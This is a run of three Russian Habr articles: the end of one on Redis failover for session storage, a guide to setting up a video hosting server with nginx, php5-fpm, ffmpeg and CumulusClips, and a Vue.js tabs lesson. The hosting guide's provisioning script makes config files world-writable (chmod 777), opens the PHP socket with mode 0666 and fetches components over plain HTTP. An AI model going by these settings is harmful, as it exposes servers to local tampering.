catch (KeyValueCacheNotAvailableException $e)
{
$this->loggerService->error(
'failed to read from session cache',
['exception' => $e]
);
return $job($this->storage);
}
}
```
Для обновления данных записываем и Redis, и в БД:
```
private function doUpdate(callable $job): void
{
try
{
$job($this->cacheStorage);
}
catch (KeyValueCacheNotAvailableException $e)
{
$this->loggerService->error(
'failed to write into session cache',
['exception' => $e]
);
}
$job($this->storage);
}
```
Такое решение имеет свои ограничения:
1. Возрастёт нагрузка на БД — в сравнении с хранением данных только в Redis
2. После отказа и восстановления кэша в нём появляются неактуальные данные, записанные в БД в период отказа
### Усовершенствование в хранении сессий
На примере всё тех же сессий посмотрим, как можно усовершенствовать механизм отказоустойчивости.
Допустим, у нас есть сессии, которые хранятся в трёх хранилищах: session id хранится в Cookie, а данные сессии хранятся одновременно и в Redis, и в MySQL:
Сессию надо периодически обновлять, чтобы при активном использовании TTL (time to life) не истёк и сессия не закончилась. Чтобы уменьшить частоту обновления сессий, мы можем добавить в данные сессии дату последнего обновления, и обновлять сессию в обработчике запроса только в том случае, если с последнего обновления прошло больше определённого числа секунд (например, 60 секунд).
Кстати, именно так ведут себя современные PHP фреймворки — например, Symfony.
Обновлённое расположение данных будет выглядеть так:
Чтобы решить проблему инвалидации кэша при его недоступности, мы можем добавить в Cookie ещё одно значение: целочисленный generation number данных сессии, который увеличивается на единицу при каждом изменении данных сессии, и предпочитать чтение данных из БД в случае, если generation number в Redis не совпадает с тем, что пришёл из Cookie:
### Сессии в Signed Cookies
Идею хранения данных в Cookie можно развить, но для этого надо сделать Cookie надёжным хранилищем, в котором нельзя подменить данные. Этого можно достигнуть с помощью Signed Cookies — например, можно в качестве значения хранить [JWT](https://jwt.io) (JSON Web Token). В этом случае:
1. Секретный ключ для подписи JWT хранится на сервере, и пользователь не может подменить содержимое Cookie, не нарушив целостность подписи JWT.
2. Секретные данные в Signed Cookie хранить по-прежнему нельзя, т.к. полезная нагрузка в JWT хранится в открытом виде
С таким подходом основные данные сессии можно переместить в Cookie небольшого размера (не более 1-2 КБ), и до истечения JWT вообще не обращаться к Redis и MySQL. Короткое время жизни такой Cookie обеспечит баланс между временем инвалидации данных и снижением нагрузки на сервера.
Состояние сессии, влияющее только на просмотр, можно хранить в открытом виде в Cookie, а можно точно так же поместить в JWT.
После этих изменений схема расположения данных выглядит, как показано ниже. Можно убрать из схемы Redis, поскольку Signed Cookie снизит число обращений к данным сессии на сервере.
### Подытожим
Отказоустойчивости в работе с Redis или с любым другим вспомогательным хранилищем можно достигнуть не только за счёт схемы развёртывания и инфраструктуры, но и за счёт пересмотра архитектуры или доработок приложения, обеспечивающих устойчивость к отказам.
Чтобы это сработало, надо:
1. Учесть разные сценарии отказа Redis, в том числе связанные с превышением таймаутов, превышением лимита памяти или сетевых соединений
2. Пересмотреть архитектуру и реализацию системы с точки зрения взаимодействия с Redis
3. Решить, куда вносить доработки: в схему развёртывания, в реализацию взаимодействия с Redis или даже в архитектуру хранения данных
* Для большей устойчивости к отказам и нагрузкам потребуется применить все три метода
Кроме того, стоит решить, будет ли использование Redis, memcached или иного быстрого хранилища уместным:
1. Возможно, требования по нагрузке и отказоустойчивости позволяют не усложнять и хранить всё, включая сессии, в основной БД
2. Возможно, идея использовать Redis пришла из-за того, что данные временные; в этом случае данные можно так же хранить в БД, не забывая:
* Добавить в таблицу и во все связанные SQL-запросы колонку expiration date
* Реализовать механизм очистки старых данных фоновыми задачами, запускаемыми через cron или CronJob (в Kubernetes), например, каждую ночь
В микросервисной архитектуре можно выделить работу с сессиями, cookie и токенами в отдельный сервис (который также может взять на себя задачи аутентификации). В монолите можно скрыть работу с Redis за абстракцией, а в реализации этой абстракции Redis рассматривать как вспомогательный кэш, недоступность которого не приводит к отказу. | https://habr.com/ru/post/562086/ | null | ru | null |
# Создание полноценного видеохостинга своими руками (nginx+php5-fpm+ffmpeg+cumulusclips)
Добрый день, хабровчане!
Недавно в нашей компании возникла потребность создания своего видеоресурса, закрытого, но в тоже время немного публичного. И вот наконец, он закончен и я готов поделиться знаниями и применениями.
**Задача была следующая:**
*Создать видеоресурс, способный проводить многопоточные односторонние трансляции с web камеры, а так же из любого файла (это например для защиты от прямого скачивания), видеошару с возможностью просмотреть видео в разных форматах и битрейтах.*
В основу лег освободившийся сервер! Не очень мощный, но довольно таки подходящий.
**Intel® Xeon® CPU L5520 @ 2.27GHz
количество ядер 16
оперативной памяти 16372 Мб**
Немного забегу вперед, при декодировании видео процессорная нагрузка достигает 500% (примерно 6 ядер);
Начнем с самого начала, из ОС я выбрал Ubuntu Server 13.04 x64 ввиду того, что больше времени провожу с ней и собственно разбираюсь я в ней лучше чем в других семействах Linux.
В качестве WEB сервера я выбрал связку nginx+php5-fpm, потому что nginx довольно успешно справляется с нагрузками, а так же отдачей видео.
nginx по умолчанию ставится без потокового модуля, поэтому ставим из сорцов
Необходимые зависимости для сборки пакетов:
```
apt-get install build-essential checkinstall subversion unzip yamdi imagemagick php5-curl libssl-dev zlib1g-dev libpcre3-dev rpl php5-fpm git
```
Скачиваем исходники:
```
cd /tmp
wget http://nginx.org/download/nginx-1.5.2.zip
unzip nginx-1.5.2.zip -d nginx/
rm -f nginx-1.5.2.zip
cd nginx
```
Скачиваем необходимые модули для стриминга:
```
mkdir modules
git clone https://github.com/masterzen/nginx-upload-progress-module.git modules/nginx-upload-progress-module
wget http://www.kernel-video-sharing.com/files/nginx_mod_h264_streaming-2.3.2.zip
unzip nginx_mod_h264_streaming-2.3.2.zip -d modules/
rm -f nginx_mod_h264_streaming-2.3.2.zip
git clone https://github.com/arut/nginx-rtmp-module.git modules/nginx-rtmp-module
```
Для удобства создаем установочный скрипт:
```
touch nginx.sh
nano nginx.sh
```
с содержимым
```
./configure \
--conf-path=/etc/nginx/nginx.conf \
--error-log-path=/var/log/nginx/error.log \
--pid-path=/var/run/nginx.pid \
--lock-path=/var/lock/nginx.lock \
--http-log-path=/var/log/nginx/access.log \
--http-client-body-temp-path=/var/lib/nginx/body \
--http-proxy-temp-path=/var/lib/nginx/proxy \
--http-fastcgi-temp-path=/var/lib/nginx/fastcgi \
--with-debug \
--with-http_stub_status_module \
--with-http_secure_link_module \
--with-http_gzip_static_module \
--with-http_realip_module \
--with-http_mp4_module \
--with-http_flv_module \
--with-http_ssl_module \
--with-http_dav_module \
--with-md5=/usr/lib \
--add-module=modules/nginx-upload-progress-module \
--add-module=modules/nginx-rtmp-module \
--add-module=modules/nginx_mod_h264_streaming-2.3.2
make -j16 (16 - количество ядер. ускоряет сборку пакета. Можно узнать командой "grep -c processor /proc/cpuinfo")
checkinstall
```
Возможно в процессе компиляции могут возникнуть ошибки. Поэтому делаем так:
В файле auto/cc/gcc комментируем строчку:
```
#CFLAGS="$CFLAGS -Werror"
```
Запускаем:
```
sh nginx.sh
```
После установки создаем необходимые симлинки и директории (если не создались):
```
ln -s /usr/local/nginx/sbin/nginx /usr/sbin/nginx
mkdir -p /var/lib/nginx/body
mkdir /var/lib/nginx/proxy
mkdir /var/lib/nginx/fastcgi
chown -R root /var/lib/nginx/
wget http://nginx-init-ubuntu.googlecode.com/files/nginx-init-ubuntu_v2.0.0-RC2.tar.bz2
tar -jxvf nginx-init-ubuntu_v2.0.0-RC2.tar.bz2 -C /etc/init.d/
chmod 715 /etc/init.d/nginx
/usr/sbin/update-rc.d -f nginx defaults
rm -f nginx-init-ubuntu_v2.0.0-RC2.tar.bz2
rpl 'DAEMON=/usr/local/sbin/nginx' 'DAEMON=/usr/local/nginx/sbin/nginx' /etc/init.d/nginx
rpl 'NGINX_CONF_FILE="/usr/local/nginx/conf/nginx.conf"' 'NGINX_CONF_FILE="/etc/nginx/nginx.conf"' /etc/init.d/nginx
```
На этом установка nginx и php5-fpm завершена.
К настройке вернемся позже.
Следующим на очереди стоит ffmpeg. Установка apt-get не желательна, проект уже депрекейтет и многое отказывается работать. В поисках адекватной и более свежей инструкции я провел почти 2 ночи. Не скрою, нашел доповольно таки хороший пак для установки.
~~Как ни странно проект называется [www.ffmpeginstaller.com](http://www.ffmpeginstaller.com) и даже при наличии всех инсталяторов в открытом доступе предлагает свои услуги за 50 баксов.
А делается все довольно просто.
Скачиваем пакет:
```
cd /tmp
wget http://mirror.ffmpeginstaller.com/old/scripts/ffmpeg7/ffmpeginstaller.7.4.tar.gz
tar -xzf ffmpeginstaller.7.4.tar.gz ffmpeg
cd ffmpeg
```
После первой установки я понял… не хватает кодека. Отмотаем <<< Ставим кодек до установки:
```
apt-get install libvpx
```
Открываем ffmpeg.sh и добавляем кодек "--enable-libvpx" в установку:
```
nano ffmpeg.sh
./configure --prefix=$INSTALL_DDIR --enable-shared --enable-nonfree \
--enable-gpl --enable-pthreads --enable-libopencore-amrnb --enable-decoder=liba52 \
--enable-libopencore-amrwb --enable-libfaac --enable-libmp3lame \
--enable-libtheora --enable-libvorbis --enable-libx264 --enable-libxvid --enable-libvpx \
--extra-cflags=-I/usr/local/cpffmpeg/include/ --extra-ldflags=-L/usr/local/cpffmpeg/lib \
--enable-version3 --extra-version=syslint
```
На этом подготовка завершена. Можно устанавливать: sh start.sh
Установка займет минут 15-20 в зависимостти от возможностей железа. Можно пойти попить чаю (или кофе).
После установки выполняем:
```
hash x264 ffmpeg ffplay
```~~
Вырезку смотреть в P.S.
Все. Поздравляю, мы это сделали!
Теперь нам нужна CMS для управления этими инструментами
Вариантов было немного, а точнее всего 2 (а под мои нужды подходила только одна — cumulusclips).
Код исходников понятен, без лишней нервотрепки разобрался с составляющей. Вот только пришлось проект переписывать с mysql на mysqli. Весь код CMS структурирован и темлпейты лежат отдельно и гибко настраиваются. За основу выбрал шаблон псевдо Ютуба.
Пришлось полностью перекрутить проигрыватель, т.к. jwplayer был неспособен переключать видеопотоки. Немного полазив по github нашел незамысловатый плеер под простым названием jQplayer.
Данный плеер способен легко переключать потоки. Правда есть один минус. Проигрывание файла начинается с начала. И это не оказалось проблемой — видеофайлы легко режутся nginx из коробки.
Теперь нам нужно настроить web хостинг для нашего проекта.
Прилагаю небольшой скрипт для автоматизации данного процесса. В комплекте с CMS лежал .htaccess — а nginx его понимать отказывается, поэтому я его переписал под нужды данного web сервера.
**Пример моего конфига**
```
#!/bin/bash
echo -n "Введите имя создаваемого хоста: "
read host
echo -n "Введите имя пользователя nginx: "
read users
sap=/etc/nginx/sites-available/$host.conf
mkdir -p /var/hosting/
touch $sap
chmod 777 $sap
directives="upstream backend-${host} {server unix:/var/run/php5-${host}.sock;}
server {
listen 80;
server_name ${host} www.${host};
root /var/hosting/${host}/www;
access_log /var/log/nginx/${host}-access.log;
error_log /var/log/nginx/${host}-error.log;
index index.php;
rewrite_log on;
if ($host = '${host}' ) {
rewrite ^/(.*)$ http://www.${host}/$1 permanent;
}
location /im {
rewrite ^/im/(.*)$ /cc-core/controllers/thumbs.php?$1 last;
}
location /videos {
rewrite ^/videos/([0-9]+)/(.*)$ /cc-core/controllers/play.php?vid=$1 last;
rewrite ^/videos/page/([0-9]+)/$ /cc-core/controllers/videos.php?page=$1 last;
rewrite ^/videos/(most-recent|most-viewed|most-discussed|most-rated)/$ /cc-core/controllers/videos.php?load=$1 last;
rewrite ^/videos/(most-recent|most-viewed|most-discussed|most-rated)/page/([0-9]+)/$ /cc-core/controllers/videos.php?load=$1&page=$2 last;
rewrite ^/videos/([a-zA-Z0-9\-]+)/$ /cc-core/controllers/videos.php?category=$1 last;
rewrite ^/videos/([a-zA-Z-]+)/page/([0-9]+)/$ /cc-core/controllers/videos.php?category=$1&page=$2 last;
rewrite ^/videos/([0-9]+)/comments/$ /cc-core/controllers/comments.php?vid=$1 last;
rewrite ^/videos/([0-9]+)/comments/page/([0-9]+)/$ /cc-core/controllers/comments.php?vid=$1&page=$2 last;
rewrite ^/videos/$ /cc-core/controllers/videos.php last;
}
location /private {
rewrite ^/private/get/$ /cc-core/controllers/play.php?get_private=true last;
rewrite ^/private/videos/([a-zA-Z0-9]+)/$ /cc-core/controllers/play.php?private=$1 last;
rewrite ^/private/comments/([a-zA-Z0-9]+)/$ /cc-core/controllers/comments.php?private=$1 last;
rewrite ^/private/comments/([a-zA-Z0-9]+)/page/([a-z0-9]+)/$ /cc-core/controllers/comments.php?private=$1&page=$2 last;
}
location /members {
rewrite ^/members/page/([0-9]+)/$ /cc-core/controllers/members.php?page=$1 last;
rewrite ^/members/([a-zA-Z0-9]+)/$ /cc-core/controllers/profile.php?username=$1 last;
rewrite ^/members/([a-zA-Z0-9]+)/videos/$ /cc-core/controllers/member_videos.php?username=$1 last;
rewrite ^/members/([a-zA-Z0-9]+)/videos/page/([0-9]+)/$ /cc-core/controllers/member_videos.php?username=$1&page=$2 last;
rewrite ^/members/$ /cc-core/controllers/members.php last;
}
location /search {
rewrite ^/search(/page/([0-9]+))?/$ /cc-core/controllers/search.php?page=$2 last;
}
location /login {
rewrite ^(.*)$ /cc-core/controllers/login.php last;
}
location /login/forgot {
rewrite ^(.*)$ /cc-core/controllers/login.php?action=forgot last;
}
location /logout {
rewrite ^(.*)$ /cc-core/system/logout.php last;
}
location /register {
rewrite ^(.*)$ /cc-core/controllers/register.php last;
}
location /activate {
rewrite ^(.*)$ /cc-core/controllers/activate.php last;
}
location /opt {
rewrite ^/opt-out/$ /cc-core/controllers/opt_out.php last;
}
location /contact {
rewrite ^(.*)$ /cc-core/controllers/contact.php last;
}
location /embed {
rewrite ^/embed/([0-9]+)/$ /cc-core/system/embed.php?vid=$1 last;
}
location /page {
rewrite ^(.*)$ /cc-core/system/page.php last;
}
location /translation {
rewrite ^(.*)$ /cc-core/system/translation.php last;
}
location /notify {
rewrite ^(.*)$ /cc-core/system/notify.php last;
}
location /language/get {
rewrite ^(.*)$ /cc-core/system/language.php?get last;
}
location /language {
rewrite ^/language/set/(.*)/$ /cc-core/system/language.php?set&language=$1 last;
}
location /feed {
rewrite ^/feed(/([a-zA-Z0-9]+))?/$ /cc-core/system/feed.php?username=$2 last;
}
location /video {
rewrite ^/video-sitemap(-([0-9]+))?\.xml$ /cc-core/system/video_sitemap.php?page=$2 last;
}
location /myaccount/upload/avatar {
rewrite ^(.*)$ /cc-core/system/avatar.ajax.php last;
}
location /myaccount/upload/validate {
rewrite ^(.*)$ /cc-core/system/upload.ajax.php last;
}
location /myaccount/grab/validate {
rewrite ^(.*)$ /cc-core/system/grab.ajax.php last;
}
location /actions/username {
rewrite ^(.*)$ /cc-core/system/username.ajax.php last;
}
location /actions/flag {
rewrite ^(.*)$ /cc-core/system/flag.ajax.php last;
}
location /actions/favorite {
rewrite ^(.*)$ /cc-core/system/favorite.ajax.php last;
}
location /actions/subscribe {
rewrite ^(.*)$ /cc-core/system/subscribe.ajax.php last;
}
location /actions/rate {
rewrite ^(.*)$ /cc-core/system/rate.ajax.php last;
}
location /actions/comment {
rewrite ^(.*)$ /cc-core/system/comment.ajax.php last;
}
location /actions/post {
rewrite ^(.*)$ /cc-core/system/post.ajax.php last;
}
location /actions/stream {
rewrite ^(.*)$ /cc-core/system/stream.ajax.php last;
}
location /actions {
rewrite ^/actions/mobile-(videos|search)/$ /cc-core/system/mobile_$1.ajax.php?mobile last;
}
location /myaccount {
rewrite ^/myaccount/upload/complete/$ /cc-core/controllers/myaccount/upload_complete.php last;
rewrite ^/myaccount/upload/video/$ /cc-core/controllers/myaccount/upload_video.php last;
rewrite ^/myaccount/upload/$ /cc-core/controllers/myaccount/upload.php last;
rewrite ^/myaccount/myvideos(/page/([0-9]+))?/$ /cc-core/controllers/myaccount/myvideos.php?page=$2 last;
rewrite ^/myaccount/myvideos/([0-9]+)/$ /cc-core/controllers/myaccount/myvideos.php?vid=$1 last;
rewrite ^/myaccount/editvideo/([0-9]+)/$ /cc-core/controllers/myaccount/edit_video.php?vid=$1 last;
rewrite ^/myaccount/myfavorites(/page/([0-9]+))?/$ /cc-core/controllers/myaccount/myfavorites.php?page=$2 last;
rewrite ^/myaccount/myfavorites/([0-9]+)/$ /cc-core/controllers/myaccount/myfavorites.php?vid=$1 last;
rewrite ^/myaccount/privacy-settings/$ /cc-core/controllers/myaccount/privacy_settings.php last;
rewrite ^/myaccount/change-password/$ /cc-core/controllers/myaccount/change_password.php last;
rewrite ^/myaccount/subscriptions(/([0-9]+))?/$ /cc-core/controllers/myaccount/subscriptions.php?id=$2 last;
rewrite ^/myaccount/subscriptions(/page/([0-9]+))?/$ /cc-core/controllers/myaccount/subscriptions.php?page=$2 last;
rewrite ^/myaccount/subscribers(/page/([0-9]+))?/$ /cc-core/controllers/myaccount/subscribers.php?page=$2 last;
rewrite ^/myaccount/message/inbox(/page/([0-9]+))?/$ /cc-core/controllers/myaccount/message_inbox.php?page=$2 last;
rewrite ^/myaccount/message/inbox/([0-9]+)/$ /cc-core/controllers/myaccount/message_inbox.php?delete=$1 last;
rewrite ^/myaccount/message/read/([0-9]+)/$ /cc-core/controllers/myaccount/message_read.php?msg=$1 last;
rewrite ^/myaccount/message/send/([a-zA-Z0-9]+)/$ /cc-core/controllers/myaccount/message_send.php?username=$1 last;
rewrite ^/myaccount/message/reply/([0-9]+)/$ /cc-core/controllers/myaccount/message_send.php?msg=$1 last;
rewrite ^/myaccount/$ /cc-core/controllers/myaccount/myaccount.php last;
}
location /myaccount/profile {
rewrite ^(.*)$ /cc-core/controllers/myaccount/update_profile.php last;
}
location /myaccount/profile/reset {
rewrite ^(.*)$ /cc-core/controllers/myaccount/update_profile.php?action=reset last;
}
location /myaccount/message/send {
rewrite ^(.*)$ /cc-core/controllers/myaccount/message_send.php last;
}
location /m {
rewrite ^/m/v/([0-9]+)/$ /cc-core/controllers/mobile/play.php?mobile&vid=$1 last;
rewrite ^/m/v/$ /cc-core/controllers/mobile/videos.php?mobile last;
rewrite ^/m/s/$ /cc-core/controllers/mobile/search.php?mobile last;
rewrite ^/m/$ /cc-core/controllers/mobile/index.php?mobile last;
}
location /system {
rewrite ^/system-error/$ /cc-core/controllers/system_error.php last;
}
location /t {
rewrite ^/t/(.*)$ /cc-core/system/translation.php last;
}
location / {
if (!-e $request_filename){
#rewrite ^/(.*)$ /$request_uri/ permanent;
rewrite ^/(.*)$ /cc-core/system/page.php last;
}
}
location ~ \.php$ {
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_pass backend-${host};
}
location ~* ^.+\.(jpg|jpeg|gif|css|png|js|ico|bmp)$ {
access_log off;
expires 10d;
break;
}
location ~ \.(flv|mp4|webm|ogg|ogv|mp3)$ {
mp4;
mp4_buffer_size 1m;
mp4_max_buffer_size 5m;
}
location ~ /\. {
deny all;
}
}
"
echo "$directives">$sap
sap_poll=/etc/php5/fpm/pool.d/$host.conf
touch $sap_poll
chmod 777 $sap_poll
directives_poll="[${host}]
listen = /var/run/php5-${host}.sock
listen.mode = 0666
user = ${users}
group = ${users}
chdir = /var/hosting/${host}
php_admin_value[upload_tmp_dir] = /var/hosting/${host}/tmp
php_admin_value[soap.wsdl_cache_dir] = /var/hosting/${host}/tmp
php_admin_value[date.timezone] = Asia/Yekaterinburg
pm = dynamic
pm.min_spare_servers = 10
pm.max_spare_servers = 20
pm.start_servers = 10
pm.max_children = 40"
echo "$directives_poll">$sap_poll
ln -s /etc/nginx/sites-available/$host.conf /etc/nginx/sites-enabled/$host.conf
mkdir -p /var/hosting/$host/www/
mkdir -p /var/hosting/$host/tmp/
dir=/var/hosting/$host/www
chown -R $users:$users "$dir";
find "$dir" -type d -exec chmod 0755 '{}' \;
find "$dir" -type f -exec chmod 0644 '{}' \;
/etc/init.d/nginx restart
/etc/init.d/php5-fpm restart
```
На этом все. Данная конфигурация способна кодировать видео в разные форматы, а так же стримить поток. Если данная статья заинтересует кого либо, я с удовольствием приведу живые примеры стриминга.
К сожалению полной начинки показать не могу, но вот что получилось у меня [stream.etagi.com](http://stream.etagi.com)
Спасибо за внимание.
**P.S.1 Нашел более спокойный путь сборки ffmpeg. Исправленное ниже.**
1. echo «deb [www.deb-multimedia.org](http://www.deb-multimedia.org) squeeze main non-free» » /etc/apt/sources.list
2. apt-get update
3. apt-get install deb-multimedia-keyring
4. apt-get update
5. apt-get remove ffmpeg
6. apt-get purge ffmpeg
7. apt-get autoremove
8. apt-get install ffmpeg x264 (установка подтянет все необходимые зависимости)
9. ffmpeg -version
(в выводе не должно быть DEPRECATED, если нет с 5 по 9 пункт заново)
**P.S.2 Главная особенность конструкции**
Работает только на PHP 5.3 из dotdeb | https://habr.com/ru/post/188380/ | null | ru | null |
# Vue.js для начинающих, урок 11: вкладки, глобальная шина событий
Сегодня, в 11 уроке, который завершает этот учебный курс по основам Vue, мы поговорим о том, как организовать содержимое страницы приложения с помощью вкладок. Здесь же мы обсудим глобальную шину событий — простой механизм по передаче данных внутри приложения.
[](https://habr.com/ru/company/ruvds/blog/514516/)
→ [Vue.js для начинающих, урок 1: экземпляр Vue](https://habr.com/ru/company/ruvds/blog/509700/)
→ [Vue.js для начинающих, урок 2: привязка атрибутов](https://habr.com/ru/company/ruvds/blog/509702/)
→ [Vue.js для начинающих, урок 3: условный рендеринг](https://habr.com/ru/company/ruvds/blog/510628/)
→ [Vue.js для начинающих, урок 4: рендеринг списков](https://habr.com/ru/company/ruvds/blog/510898/)
→ [Vue.js для начинающих, урок 5: обработка событий](https://habr.com/ru/company/ruvds/blog/511600/)
→ [Vue.js для начинающих, урок 6: привязка классов и стилей](https://habr.com/ru/company/ruvds/blog/511602/)
→ [Vue.js для начинающих, урок 7: вычисляемые свойства](https://habr.com/ru/company/ruvds/blog/512660/)
→ [Vue.js для начинающих, урок 8: компоненты](https://habr.com/ru/company/ruvds/blog/512658/)
→ [Vue.js для начинающих, урок 9: пользовательские события](https://habr.com/ru/company/ruvds/blog/513772/)
→ [Vue.js для начинающих, урок 10: формы](https://habr.com/ru/company/ruvds/blog/513774/)
Цель урока
----------
Мы хотим, чтобы на странице приложения присутствовали бы вкладки, одна из которых позволяет посетителям писать отзывы о товарах, а другая — просматривать существующие отзывы.
Начальный вариант кода
----------------------
Вот как на данном этапе работы выглядит содержимое файла `index.html`:
```
Cart({{ cart.length }})
```
В `main.js` имеется следующий код:
```
Vue.component('product', {
props: {
premium: {
type: Boolean,
required: true
}
},
template: `
![]()
{{ title }}
===========
In stock
Out of Stock
Shipping: {{ shipping }}
* {{ detail }}
Add to cart
Reviews
-------
There are no reviews yet.
* {{ review.name }}
Rating: {{ review.rating }}
{{ review.review }}
`,
data() {
return {
product: 'Socks',
brand: 'Vue Mastery',
selectedVariant: 0,
details: ['80% cotton', '20% polyester', 'Gender-neutral'],
variants: [
{
variantId: 2234,
variantColor: 'green',
variantImage: './assets/vmSocks-green.jpg',
variantQuantity: 10
},
{
variantId: 2235,
variantColor: 'blue',
variantImage: './assets/vmSocks-blue.jpg',
variantQuantity: 0
}
],
reviews: []
}
},
methods: {
addToCart() {
this.$emit('add-to-cart', this.variants[this.selectedVariant].variantId);
},
updateProduct(index) {
this.selectedVariant = index;
},
addReview(productReview) {
this.reviews.push(productReview)
}
},
computed: {
title() {
return this.brand + ' ' + this.product;
},
image() {
return this.variants[this.selectedVariant].variantImage;
},
inStock() {
return this.variants[this.selectedVariant].variantQuantity;
},
shipping() {
if (this.premium) {
return "Free";
} else {
return 2.99
}
}
}
})
Vue.component('product-review', {
template: `
**Please correct the following error(s):**
* {{ error }}
Name:
Review:
Rating:
5
4
3
2
1
`,
data() {
return {
name: null,
review: null,
rating: null,
errors: []
}
},
methods: {
onSubmit() {
if(this.name && this.review && this.rating) {
let productReview = {
name: this.name,
review: this.review,
rating: this.rating
}
this.$emit('review-submitted', productReview)
this.name = null
this.review = null
this.rating = null
} else {
if(!this.name) this.errors.push("Name required.")
if(!this.review) this.errors.push("Review required.")
if(!this.rating) this.errors.push("Rating required.")
}
}
}
})
var app = new Vue({
el: '#app',
data: {
premium: true,
cart: []
},
methods: {
updateCart(id) {
this.cart.push(id);
}
}
})
```
Вот как сейчас выглядит приложение.
*Страница приложения*
Задача
------
Сейчас отзывы и форма, которая используется для отправки отзывов, выводятся на странице рядом друг с другом. Это — вполне рабочая структура. Но ожидается, что со временем на странице будет появляться всё больше и больше отзывов. Это значит, что пользователям будет удобнее взаимодействовать со страницей, на которой, по их выбору, выводится либо форма, либо список отзывов.
Решение задачи
--------------
Для того чтобы решить нашу задачу, мы можем добавить на страницу систему вкладок. Одна из них, с заголовком `Reviews`, будет выводить отзывы. Вторая, с заголовком `Make a Review`, будет выводить форму для отправки отзывов.
Создание компонента, реализующего систему вкладок
-------------------------------------------------
Начнём работу с создания компонента `product-tabs`. Он будет выводиться в нижней части визуального представления компонента `product`. Со временем он заменит собой тот код, который сейчас используется для вывода на странице списка отзывов и формы.
```
Vue.component('product-tabs', {
template: `
{{ tab }}
`,
data() {
return {
tabs: ['Reviews', 'Make a Review']
}
}
})
```
Сейчас это — лишь заготовка компонента, которую мы скоро доработаем. Пока же в двух словах обсудим то, что представлено в этом коде.
В данных компонента имеется массив `tabs`, содержащий строки, которые мы используем в качестве заголовков вкладок. В шаблоне компонента применяется конструкция `v-for`, с помощью которой для каждого элемента массива `tabs` создаётся элемент , содержащий соответствующую строку. То, что формирует этот компонент на данном этапе работы над ним, будет выглядеть так, как показано ниже.
*Компонент product-tabs на начальном этапе работы над ним*
Нам, для достижения наших целей, нужно знать о том, какая из вкладок является активной. Поэтому добавим в данные компонента свойство `selectedTab`. Будем динамически задавать значение этого свойства, пользуясь обработчиком событий, реагирующим на щелчки по заголовкам вкладок:
```
@click="selectedTab = tab"
```
В свойство будут записываться строки, соответствующие заголовкам вкладок.
То есть, если пользователь щёлкнет по вкладке `Reviews`, то в `selectedTab` будет записана строка `Reviews`. Если будет сделан щелчок по вкладке `Make a Review`, то в `selectedTab` попадёт строка `Make a Review`.
Вот как теперь будет выглядеть полный код компонента.
```
Vue.component('product-tabs', {
template: `
{{ tab }}
`,
data() {
return {
tabs: ['Reviews', 'Make a Review'],
selectedTab: 'Reviews' // устанавливается с помощью @click
}
}
})
```
Привязка класса к активной вкладке
----------------------------------
Пользователь, работая с интерфейсом, в котором используются вкладки, должен знать о том, какая вкладка является активной. Реализовать подобный механизм можно, воспользовавшись [привязкой классов](https://habr.com/ru/company/ruvds/blog/511602/) к элементам , использующимся для вывода названий вкладок:
```
:class="{ activeTab: selectedTab === tab }"
```
[Вот](https://gist.github.com/atomjar/67db5aa9b7b9013dcf0d91c91f54e1a9) CSS-файл, в котором определён стиль использованного здесь класса `activeTab`. Вот как выглядит этот стиль:
```
.activeTab {
color: #16C0B0;
text-decoration: underline;
}
```
А вот — стиль класса `tab`:
```
.tab {
margin-left: 20px;
cursor: pointer;
}
```
Если объяснить вышеприведённую конструкцию простым языком, то оказывается, что к вкладке применяется стиль, заданный для класса `activeTab`, в том случае, когда `selectedTab` равняется `tab`. Так как в `selectedTab` записывается название вкладки, по которой только что щёлкнул пользователь, стиль `.activeTab` будет применяться именно к активной вкладке.
Другими словами, когда пользователь щёлкнет по первой вкладке, в `tab` будет находиться `Reviews`, то же самое будет записано и в `selectedTab`. В результате к первой вкладке будет применён стиль `.activeTab`.
Теперь заголовки вкладок на странице будут выглядеть так, как показано ниже.
*Выделенный заголовок активной вкладки*
Судя по всему, на данном этапе всё работает так, как ожидается, поэтому мы можем идти дальше.
Работа над шаблоном компонента
------------------------------
Теперь, когда мы можем сообщить пользователю о том, какая именно вкладка является активной, можно продолжить работу над компонентом. А именно, речь идёт о доработке его шаблона, об описании того, что именно будет выводиться на странице при активации каждой из вкладок.
Подумаем о том, что надо показать пользователю в том случае, если он щёлкнет по вкладке `Reviews`. Это, понятно, отзывы о товаре. Поэтому переместим код вывода отзывов из шаблона компонента `product` в шаблон компонента `product-tabs`, разместив этот код ниже конструкции, используемой для вывода заголовков вкладок. Вот как теперь будет выглядеть шаблон компонента `product-tabs`:
```
template: `
{{ tab }}
There are no reviews yet.
* {{ review.name }}
Rating: {{ review.rating }}
{{ review.review }}
`
```
Обратите внимание на то, что мы избавились от тега , так как нам больше не нужно выводить заголовок `Reviews` над списком отзывов. Вместо этого заголовка будет выводиться заголовок соответствующей вкладки.
Но одного только переноса кода шаблона недостаточно для того чтобы обеспечить вывод отзывов. Массив `reviews`, данные которого используются для вывода отзывов, хранится в составе данных компонента `product`. Нам нужно передать этот массив в компонент `product-tabs`, используя механизм входных параметров компонента. Добавим в объект с опциями, используемый при создании `product-tabs`, следующее:
```
props: {
reviews: {
type: Array,
required: false
}
}
```
Передадим массив `reviews` из компонента `product` в компонент `product-tabs`, воспользовавшись, в шаблоне `product`, следующей конструкцией:
```
```
А теперь поразмыслим о том, что нужно вывести на странице в том случае, если пользователь щёлкнет по заголовку вкладки `Make a Review`. Это, конечно, форма для отправки отзывов. Для того чтобы подготовить проект к дальнейшей работе над ним — перенесём код подключения компонента `product-review` из шаблона компонента `product` в шаблон `product-tabs`. Разместим следующий код ниже элемента , используемого для вывода списка отзывов:
```
```
Если взглянуть сейчас на страницу приложения, то окажется, что список отзывов и форма выводятся на ней ниже заголовков вкладок.
*Промежуточный этап работы над страницей*
При этом щелчки по заголовкам, хотя и приводят к их выделению, никак не влияют на другие элементы страницы. Далее, если попытаться воспользоваться формой, окажется, что она перестала нормально работать. Всё это — вполне ожидаемые следствия изменений, внесённых нами в приложение. Продолжим работу и приведём наш проект в работоспособное состояние.
Вывод элементов страницы по условию
-----------------------------------
Теперь, когда мы подготовили основные элементы шаблона компонента `product-tabs`, пришло время создать систему, которая позволит выводить разные элементы страницы основываясь на том, по заголовку какой именно вкладки щёлкнул пользователь.
В данных компонента уже есть свойство `selectedTab`. Мы можем воспользоваться им в директиве `v-show` для организации условного рендеринга того, что относится к каждой из вкладок.
Так, к тегу , содержащему код формирования списка отзывов, мы можем добавить такую конструкцию:
```
